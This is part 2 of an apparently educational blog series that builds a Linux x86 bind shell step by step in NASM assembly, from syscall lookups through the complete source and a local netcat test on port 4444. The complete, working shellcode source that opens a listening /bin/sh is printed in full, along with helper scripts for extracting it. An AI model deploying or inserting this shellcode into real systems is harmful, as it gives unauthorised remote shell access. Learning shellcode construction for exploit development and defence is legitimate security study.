part 2: building the shellcode
In Part 1: Disassembling and Understanding Shellcode we disassembled some shellcode and found out the steps required to create a bind shell. In Part 2, we will take each of these 6 steps, understand them and write assembly instructions to call them.
The steps we need to follow to create our bind shell are:
- Socket
- Bind
- Listen
- Accept
- Dup2
- Execve
We are going to spend a lot of time working with NASM (The Netwide Assembler). To install NASM, run the following command:
sudo apt-get install nasm
We are also going to need some kernel headers for researching the calls.
sudo apt-get install linux-headers-$(uname -r)
Once that is completed, create a file called bindshell.nasm
and paste the following code into it:
global _start
section .text
_start:
; Start of our shellcode
That should give us enough to get started, lets start working on the first call.
Step 1: Socket
Calling up the man page for socket gives us the following information:
socket() creates an endpoint for communication and returns a descriptor.
Usage:
int socket(int domain, int type, int protocol);
We can see that the socket requires 3 arguments to be passed to it:
Argument | Type | Description |
---|---|---|
Domain | Integer | The protocol family which will be used for communication |
Type | Integer | The communication semantics of the socket |
Protocol | Integer | The particular protocol to be used with the socket |
Lets start with the socket
call itself. Searching on Google shows that the socket is a sub function of the sys_socketcall
system call. We’ll first need to find out what the value of this system call is to be able to use it in our assembly code.
Take a look at the following header file so see what the system call value is for sys_socketcall
.
less /usr/include/i386-linux-gnu/asm/unistd_32.h
In that file we can see the following:
#define __NR_socketcall 102
Great, now we know our first value.
sys_socketcall = 102
However, we don’t yet know the sub functions for the sys_socketcall
.
Take a look in the net.h
file and you’ll find the complete list of sub calls for sys_socketcall
.
less /usr/src/linux-headers-3.2.0-4-common/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
We can see from this file that:
socket = 1
bind = 2
listen = 4
accept = 5
These will be the values we are going to use for each of the different sub calls.
In summary we know now that the system call for socket
is under the sys_socketcall
system call. The value for sys_socketcall
is 102
.
We also know that the value of the sys_socket
sub function is 1
. So we can start piecing the system call together.
sys_socketcall[102].socket[1](domain, type, protocol)
Lets find the values for these arguments.
int domain
Back in the man
page for socket
we can see the explanation of domain as:
The domain argument specifies a communication domain; this selects
the protocol family which will be used for communication. These
families are defined in sys/socket.h.
AF_UNIX, AF_LOCAL Local communication
AF_INET IPv4 Internet protocols
AF_INET6 IPv6 Internet protocols
AF_IPX IPX - Novell protocols
AF_NETLINK Kernel user interface device
AF_X25 ITU-T X.25 / ISO-8208 protocol
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK Appletalk
AF_PACKET Low level packet interface
We’ll be using IPv4 for our bind shell so we’ll set our domain to AF_INET
. To find the integer value for AF_INET
we use more Google-Fu and we find this:
/* Supported address families. */
#define AF_UNSPEC 0
#define AF_UNIX 1 /* Unix domain sockets */
#define AF_INET 2 /* Internet IP Protocol */
#define AF_AX25 3 /* Amateur Radio AX.25 */
#define AF_IPX 4 /* Novell IPX */
#define AF_APPLETALK 5 /* Appletalk DDP */
#define AF_NETROM 6 /* Amateur radio NetROM */
#define AF_BRIDGE 7 /* Multiprotocol bridge */
#define AF_AAL5 8 /* Reserved for Werner's ATM */
#define AF_X25 9 /* Reserved for X.25 project */
#define AF_INET6 10 /* IP version 6 */
The integer of AF_INET for our domain argument will be 2
int type
The socket has the indicated type, which specifies the communication
semantics. Currently defined types are:
SOCK_STREAM Provides sequenced, reliable, two-way, connection-
based byte streams. An out-of-band data transmission
mechanism may be supported.
SOCK_DGRAM Supports datagrams (connectionless, unreliable
messages of a fixed maximum length).
SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-
based data transmission path for datagrams of fixed
maximum length; a consumer is required to read an
entire packet with each input system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not
guarantee ordering.
SOCK_PACKET Obsolete and should not be used in new programs; see
packet(7).
SOCK_STREAM
appears top be the best choice here for our IPv4 bind shell.
More Google-Fu
/* Socket types. */
#define SOCK_STREAM 1 /* stream (connection) socket */
#define SOCK_DGRAM 2 /* datagram (conn.less) socket */
#define SOCK_RAW 3 /* raw socket */
#define SOCK_RDM 4 /* reliably-delivered message */
#define SOCK_SEQPACKET 5 /* sequential packet socket */
#define SOCK_PACKET 10 /* linux specific way of */
/* getting packets at the dev */
/* level. For writing rarp and */
/* other similar things on the */
/* user level. */
Our integer of SOCK_STREAM
for our socket type will be 1
.
int protocol
Again, consult the man page for sockets.
The protocol specifies a particular protocol to be used with the
socket. Normally only a single protocol exists to support a
particular socket type within a given protocol family, in which case
protocol can be specified as 0. However, it is possible that many
protocols may exist, in which case a particular protocol must be
specified in this manner. The protocol number to use is specific to
the “communication domain” in which communication is to take place;
see protocols(5).
Find the protocol in the header file.
less /usr/src/linux-headers-3.2.0-4-common/include/linux/in.h
/* Standard well-defined IP protocols. */
enum {
IPPROTO_IP = 0, /* Dummy protocol for TCP */
IPPROTO_ICMP = 1, /* Internet Control Message Protocol */
IPPROTO_IGMP = 2, /* Internet Group Management Protocol */
IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
IPPROTO_TCP = 6, /* Transmission Control Protocol */
IPPROTO_EGP = 8, /* Exterior Gateway Protocol */
IPPROTO_PUP = 12, /* PUP protocol */
IPPROTO_UDP = 17, /* User Datagram Protocol */
IPPROTO_IDP = 22, /* XNS IDP protocol */
IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
IPPROTO_RSVP = 46, /* RSVP protocol */
IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */
IPPROTO_ESP = 50, /* Encapsulation Security Payload protocol */
IPPROTO_AH = 51, /* Authentication Header protocol */
IPPROTO_BEETPH = 94, /* IP option pseudo header for BEET */
IPPROTO_PIM = 103, /* Protocol Independent Multicast */
IPPROTO_COMP = 108, /* Compression Header protocol */
IPPROTO_SCTP = 132, /* Stream Control Transport Protocol */
IPPROTO_UDPLITE = 136, /* UDP-Lite (RFC 3828) */
IPPROTO_RAW = 255, /* Raw IP packets */
IPPROTO_MAX
};
For our IPv4 bind shell the best choice would be IPPROTO_IP
which has the value of 0
.
If we add these new parameters to the socket call, we get the following call.
sys_socketcall[102 => eax].socket[1 => ebx](2, 1, 0 => ecx)
Seems simple enough, lets get these values into the registers.
Open up the bindshell.nasm
file and start creating our assembly code.
First, we need to clear out any values that may exist in eax or ebx. We can do this by xoring the register with itself. We’ll also add comments to the shellcode as we go so we know what we are doing.
global _start
section .text
_start:
; Start of our shellcode
; sys_socket (creating a socket for our connection)
xor eax, eax ; clear the value of eax
xor ebx, ebx ; clear the value of ebx
Write the values of the sys_socketcall
and sys_socket
into the registers.
mov eax, 102 ; set eax to 102 (sys_socketcall)
mov ebx, 1 ; set ebx to 1 (sys_socket)
To build the parameters, there are two things we need to keep in mind. Firstly, we need to pass them onto the stack in reverse
order. This is so when the system reads the location it is reading in the correct order.
Secondly, we cannot push or mov a value of 0 as that will automatically create a null byte (\x00) which will kill our shellcode. Instead we’ll create a null in ecx by xoring it with itself and then pushing that value to the stack.
Lets push these parameters onto the stack.
xor ecx, ecx ; clear the value of ecx
push ecx ; push a null onto the stack (IPPROTO_IP = 0)
push 1 ; push a 1 to the stack (SOCK_STREAM = 1)
push 2 ; push a 2 to the stack (AF_INET = 2)
Now that our arguments are on the stack, we need to mov the location of them into ecx. Since esp always points to the top of the stack, we can just move esp into ecx and then ecx will point to our argument location on the stack.
mov ecx, esp ; push the location of our arguments into ecx
Now we are ready to call the sys_socket
function. We call a function using a int 0x80 (\x80).
Before we do that, we need to remember that in the man page for socket, the socket file descriptor will be returned to us. We are going to need this descriptor in other calls so we need to save it somewhere. We can put the value into edx for now.
int 0x80 ; call sys_socket
mov edx, eax ; save the returned value to edx (socket file descriptor)
That’s it for the socket call, on to the bind call.
Step 2: Bind
Now that we’ve called the sys_socket
and received the socket file descriptor, lets start building our sys_bind
.
The man page for bind shows us:
When a socket is created with socket(2), it exists in a name space
(address family) but has no address assigned to it. bind() assigns
the address specified by addr to the socket referred to by the file
descriptor sockfd. addrlen specifies the size, in bytes, of the
address structure pointed to by addr. Traditionally, this operation
is called “assigning a name to a socket”.
The usage for bind is:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
We already know that this is part of sys_socketcall
so the value for eax
will be 102
.
We also know from earlier that sys_bind has the value 2
which we will use in ebx
.
Lets look at the 3 arguments it requires though:
Argument | Type | Description |
---|---|---|
sockfd | Integer | The socket file descriptor which we got from our first socket call |
sockaddr | Integer | The socket address consisting of protocol, port, ip address |
addrleng | Integer | The IP address length |
int sockfd
We already have the socket file descriptor saved in edx so we know this value.
int sockaddr
The actual structure passed for the addr
argument will depend on the address family.
The sockaddr
structure is defined as:
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
The purpose of this structure is to cast the structure pointer passed in addr
in order to avoid compiler warnings.
When we convert this to plain “english”, we need to pass it 3 things:
protocol
port
ip address
These 3 arguments need to be placed together on the stack and then the location of these needs to be passed to the sys_bind
call.
protocol
The protocol we are using is AF_INET
which if you recall is IPv4 and has a value of 2
.
port
We need to choose a port number to bind to our socket and pass this value in hex to the second argument. Finding integer in hex is something we’ll need to do frequently so lets create a script to do it for us.
Create a file called int2hex.py
and paste the following code into it:
#!/usr/bin/python
import sys
print hex(int(sys.argv[1]))
Make the file executable chmod +x int2hex.py
and then run it, passing the desired port as an argument:
./int2hex.py 4444
This will take the desired port number and return its hex value:
0x115c
If we convert this to little endian, we’ll end up with:
\x5c\x11
which can also be represented as
0x5c11
ip address
The last parameter we need to pass is the IP Address. Since we want to listen on any address we’ll use the INADDR_ANY
argument which has a value of 0
.
Combining these produces our final value for sockaddr
as:
(2, \x5x\x11, 0)
addrlen
The last argument needed for our sys_bind
call is the address length. Since we’re using IPv4, this will be 16
.
In summary, our sys_socket
call now looks like this:
sys_sockcall[102 => eax].sys_bind[2 => ebx](edx, (2, \x5x\x11, 0), 16)[ => ecx]
Lets add these new values to our assembly code.
Start by clearing out eax.
xor eax, eax ; clear the value of eax
Next lets push our 3 arguments that make up sockaddr onto the stack in reverse order.
push eax ; push eax to the stack since it's null (INADDR_ANY = 0)
push WORD 0x5C11 ; push our port number to the stack (Port = 4444)
push WORD 2 ; push protocol argument to the stack (AF_INET = 2)
Now that we have these 3 values sitting on the stack, lets store their location in ecx using esp
mov ecx, esp ; move value of esp into ecx, the location of our sockaddr arguments
Lets start the final set of the bind
arguments. First, we need to push the addrlen
argument
push 16 ; push addrlen to stack (addrlen = 16)
Now push the location of our sockaddr
argument to the stack.
push ecx ; push ecx to stack (ecx = location of our sockaddr arguments)
Finally push the sockfd
stored in edx
to the stack.
push edx ; push edx (sockfd value stored in edx)
We now have all the arguments stored on the stack, so we need to populate the eax
, ebx
and ecx
values.
xor eax, eax ; clear value of eax
xor ebx, ebx ; clear value of ebx
mov eax, 102 ; move value of 102 into eax (sys_sockcall = 102)
mov ebx, 2 ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp ; move the arguments into ecx
That should do it, lets call the sys_bind
.
int 0x80 ; call sys_bind
That’s it, the bind has been called and port 4444 is now bound to our socket.
The next step is to start listening on that port.
Step 3: Listen
From this point on, you should know how to look up calls in the man pages so we won’t be going into as much information as before.
Let’s take a look at the listen()
system call:
listen() marks the socket referred to by sockfd as a passive socket,
that is, as a socket that will be used to accept incoming connection
requests using accept(2)
Usage:
int listen(int sockfd, int backlog);
The sys_listen
call, value 4
, takes two arguments:
Argument | Type | Description |
---|---|---|
sockfd | Integer | The socket file descriptor |
backlog | Integer | The maximum length to which the queue of pending connections for sockfd may grow |
We know that the sockfd
is currently stored in edx
.
We don’t want to set a maximum queue length so we’ll make this value 0
Our call then should look like this:
sys_sockcall[102 => eax].sys_listen[4 = ebx](sockfd[edx], backlog[0])[ => ecx];
Let’s create the assembly instructions.
xor eax, eax ; clear value of eax
push eax ; push backlog argument to stack (backlog = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; store the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx to 0
mov ebx, 4 ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80 ; call sys_listen
Great, now we should have a listener on port 4444 which is connected to our socket. One last step before we test if it is actually accepting connections.
Step 4: Accept
Let’s take a look at the accept()
system call:
The accept() system call is used with connection-based socket types
(SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection
request on the queue of pending connections for the listening socket,
sockfd, creates a new connected socket, and returns a new file
descriptor referring to that socket.
Usage:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);`
The accept call takes 3 parameters:
Argument | Type | Description | |
---|---|---|---|
sockfd | Integer | Our socket file descriptor still stored in edx |
|
addr | Struct | The IP address we want to accept connections from | |
addrlen | Size_t | The IP address length we want to accept connections from |
These should be familiar as we’ve used some previously in other calls.
Seeing as we want to accept connections from anywhere, we’ll leave these as 0
.
So our call should look like this:
sys_socketcall[102 => eax].sys_accept[5 => ebx](sockfd[edx], addr[0], addrlen[0])[ => ecx];
Build this into assembly instructions
xor eax, eax ; clear value of eax
push eax ; push addrlen argument to stack (addrlen = 0)
push eax ; push addr argument to stack (addr = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; move the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx
mov ebx, 5 ; sets the value 5 which is the value for sys_accept
int 0x80 ; call sys_accept
In the accept man page, it says that sys_accept
call will return a value to us, we’ll need to save this value for the next step.
mov edx, eax ; save the return value from sys_accept to edx (client file descriptor)
Lets compile and test our code. At this point our bindshell.nasm
file should look like this:
global _start
section .text
_start:
; Start of our shellcode
; sys_socket (creating a socket for our connection)
xor eax, eax ; clear the value of eax
xor ebx, ebx ; clear the value of ebx
mov eax, 102 ; set eax to 102 (sys_socketcall)
mov ebx, 1 ; set ebx to 1 (sys_socket)
xor ecx, ecx ; clear the value of ecx
push ecx ; push a null onto the stack (IPPROTO_IP = 0)
push 1 ; push a 1 to the stack (SOCK_STREAM = 1)
push 2 ; push a 2 to the stack (AF_INET = 2)
mov ecx, esp ; push the location of our arguments into ecx
int 0x80 ; call sys_socket
mov edx, eax ; save the returned value to edx (socket file descriptor)
; sys_bind (bind a port number to our socket)
xor eax, eax ; clear the value of eax
push eax ; push eax to the stack as it's null (INADDR_ANY = 0)
push WORD 0x5C11 ; push our port number to the stack (Port = 4444)
push WORD 2 ; push protocol argument to the stack (AF_INET = 2)
mov ecx, esp ; mov value of esp into ecx, the location of our sockaddr arguments
push 16 ; push addrlen to stack (addrlen = 16)
push ecx ; push ecx to stack (ecx = location of our sockaddr arguments)
push edx ; push edx (sockfd value stored in edx)
xor eax, eax ; clear value of eax
xor ebx, ebx ; clear value of ebx
mov eax, 102 ; move value of 102 into eax (sys_sockcall = 102)
mov ebx, 2 ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp ; move the arguments into ecx
int 0x80 ; call sys_bind
; sys_listen (listen on our created socket)
xor eax, eax ; clear value of eax
push eax ; push backlog argument to stack (backlog = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; store the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx to 0
mov ebx, 4 ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80 ; call sys_listen
; sys_accept (accept connections on our created port)
xor eax, eax ; clear value of eax
push eax ; push addrlen argument to stack (addrlen = 0)
push eax ; push addr argument to stack (addr = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; move the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx
mov ebx, 5 ; sets the value 5 which is the value for sys_accept
int 0x80 ; call sys_accept
mov edx, eax ; save the return value from sys_accept to edx (client file descriptor)
We will be compiling .nasm
files a lot so lets create a script to save time.
Create a new file called nassemble.sh
with the following code:
#!/bin/bash
nasm -f elf32 -o $1.o $1.nasm
ld -z execstack -o $1 $1.o
Make the file executable and run it while passing it our file name. make sure NOT to include the .nasm
extension as it may destroy your file.
./nassemble.sh bindshell
Lets run our bindshell file and see if it creates a listener.
./bindshell
netstat -antp
Fantastic, we have a bind listening on port 4444 listening on any IP address. So far so good. Lets get this bind to start talking to our shell.
Step 5: Dup2
You know the drill…
dup2() makes newfd be the copy of oldfd, closing newfd first if
necessary.
Usage:
int dup2(int oldfd, int newfd);`
We are going to need some file descriptors for our socket to send and receive the responses into our execve call. We will use sys_dup2 to perform this task.
sys_dup2 carries the system call value of 63
.
It takes 2 arguments:
Argument | Type | Description |
---|---|---|
oldfd | Integer | The old file descriptor |
newfd | Integer | The new file descriptor |
The old file descriptor will be the value we just returned after executing our sys_accept
call which we stored in edx
.
The new file descriptor will be the ones we need to create.
To get shell functionality, We will need to create the following 3 descriptors:
Descriptor | Value |
---|---|
stdin | 0 |
stdout | 1 |
stderr | 2 |
Our call for sys_dup2
will look like this
sys_dup2[63 => eax](oldfd[edx => ebx], newfd => ecx);
Build the assembly.
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
mov ebx, edx ; move the stored oldfd argument to ebx (currently stored in edx)
xor ecx, ecx ; set ecx to 0 for stdin
int 0x80 ; call sys_dup2
That should have created our new stdin
file descriptor, now to create the stdout
and stderr
by incrementing ecx
and recalling the sys_dup2
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 1 for stdout
int 0x80 ; call sys_dup2
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 2 for stderr
int 0x80 ; call sys_dup2
Great, onto the last step…execve!
Step 6: Execve
One more time…
execve() executes the program pointed to by filename. filename must
be either a binary executable, or a script.
Usage:
int execve(const char *filename, char *const argv[], char *const envp[]);`
Execve takes 3 arguments:
Argument | Type | Description |
---|---|---|
filename | Char | The filename of the executable we want to run |
argv[] | Array | The arguments to pass to the executable |
envp[] | Array | The array of environment strings passed to the executable as environment variables |
For filename, we will use a simple
/bin/sh
, however, to keep our code neat, let’s instead use/bin//sh
This will keep our code at 8 chars which will line up neatly on the stack and essentially makes no difference to the operating system.
We are not going to be passing any arguments or environment settings to the executable so we will just push NULL to the stack for these two arguments.
Our call should look something like this:
sys_execve[11 => eax](filename[/bin//sh location on stack => ebx], argv[][0 => ecx], envp[0 =>edx]);
To get the hex value of your /bin//sh
create a new file called text2stack.py
with the following contents:
#!/usr/bin/python
import sys
import struct
a = struct.unpack('<L', str(sys.argv[1]))
print hex(a[0])
Run the code to pull out two sets of 4 chars.
./text2stack.py /bin
./text2stack.py //sh
Build the last part of your assembly instructions using these new values returned by the script.
xor ecx, ecx ; clear value of ecx, args argument = 0
push ecx ; push a null to the stack to terminate our filename
push 0x68732f2f ; push //sh to the stack (second part of /bin//sh)
push 0x6e69622f ; push /bin to the stack (first part of /bin//sh
mov ebx, esp ; set ebx with the location of our file name on the stack
mov edx, ecx ; move null value for envp argument into edx
xor eax, eax ; clear value of eax
mov eax, 11 ; sets the value 11 which is the syscall number for sys_execve
int 0x80 ; call sys_execve
Our completed code should now look like this:
global _start
section .text
_start:
; Start of our shellcode
; sys_socket (creating a socket for our connection)
xor eax, eax ; clear the value of eax
xor ebx, ebx ; clear the value of ebx
mov eax, 102 ; set eax to 102 (sys_socketcall)
mov ebx, 1 ; set ebx to 1 (sys_socket)
xor ecx, ecx ; clear the value of ecx
push ecx ; push a null onto the stack (IPPROTO_IP = 0)
push 1 ; push a 1 to the stack (SOCK_STREAM = 1)
push 2 ; push a 2 to the stack (AF_INET = 2)
mov ecx, esp ; push the location of our arguments into ecx
int 0x80 ; call sys_socket
mov edx, eax ; save the returned value to edx (socket file descriptor)
; sys_bind (bind a port number to our socket)
xor eax, eax ; clear the value of eax
push eax ; push eax to the stack as it's null (INADDR_ANY = 0)
push WORD 0x5C11 ; push our port number to the stack (Port = 4444)
push WORD 2 ; push protocol argument to the stack (AF_INET = 2)
mov ecx, esp ; mov value of esp into ecx, the location of our sockaddr arguments
push 16 ; push addrlen to stack (addrlen = 16)
push ecx ; push ecx to stack (ecx = location of our sockaddr arguments)
push edx ; push edx (sockfd value stored in edx)
xor eax, eax ; clear value of eax
xor ebx, ebx ; clear value of ebx
mov eax, 102 ; move value of 102 into eax (sys_sockcall = 102)
mov ebx, 2 ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp ; move the arguments into ecx
int 0x80 ; call sys_bind
; sys_listen (listen on our created socket)
xor eax, eax ; clear value of eax
push eax ; push backlog argument to stack (backlog = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; store the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx to 0
mov ebx, 4 ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80 ; call sys_listen
; sys_accept (accept connections on our created port)
xor eax, eax ; clear value of eax
push eax ; push addrlen argument to stack (addrlen = 0)
push eax ; push addr argument to stack (addr = 0)
push edx ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp ; move the location of our arguments into ecx
mov eax, 102 ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx ; clear value of ebx
mov ebx, 5 ; sets the value 5 which is the value for sys_accept
int 0x80 ; call sys_accept
mov edx, eax ; save the return value from sys_accept to edx (client file descriptor)
; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
mov ebx, edx ; move the stored oldfd argument to ebx (stored in edx)
xor ecx, ecx ; set ecx to 0 for stdin
int 0x80 ; call sys_dup2
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 1 for stdout
int 0x80 ; call sys_dup2
xor eax, eax ; clear value of eax
mov eax, 63 ; sets the value 63 which is the syscall number for sys_dup2
inc ecx ; increment ecx to 2 for stderr
int 0x80 ; call sys_dup2
; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)
xor ecx, ecx ; clear value of ecx, args argument = 0
push ecx ; push a null to the stack to terminate our filename
push 0x68732f2f ; push //sh to the stack (second part of /bin//sh)
push 0x6e69622f ; push /bin to the stack (first part of /bin//sh
mov ebx, esp ; set ebx with the location of our file name on the stack
mov edx, ecx ; move null value for envp argument into edx
xor eax, eax ; clear value of eax
mov eax, 11 ; sets the value 11 which is the syscall number for sys_execve
int 0x80 ; call sys_execve
That should be the entire bind shell done. Lets assemble this and test it.
./nassemble.sh bindshell
./bindshell
Check if port 4444 is listening:
netstat -antp
Finally, connect to the listener and see if we have a shell:
nc -nv 127.0.0.1 4444
id
WIN, we have a working bind shell 100% written in assembly.
Lets take a look at our shellcode.
Create a file called getshell.sh
with the following code:
#!/bin/bash
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Make the file executable and pass your executable ‘bindshell’ as an argument:
./getshell bindshell
Uh OH! Even though our shellcode worked, it’s full of null bytes (\x00
) which is bad news for us.
In Part 3: Cleaning and Optimising Shellcode we will take a look at how to clean our shellcode and remove all the null bytes as well as look at some ways to reduce it’s size.
I hope you have learned a bit from reading this tutorial and feel more comfortable with assembly language as well as have some neat scripts to speed up your coding.
Keep on sploiting,
norsec0de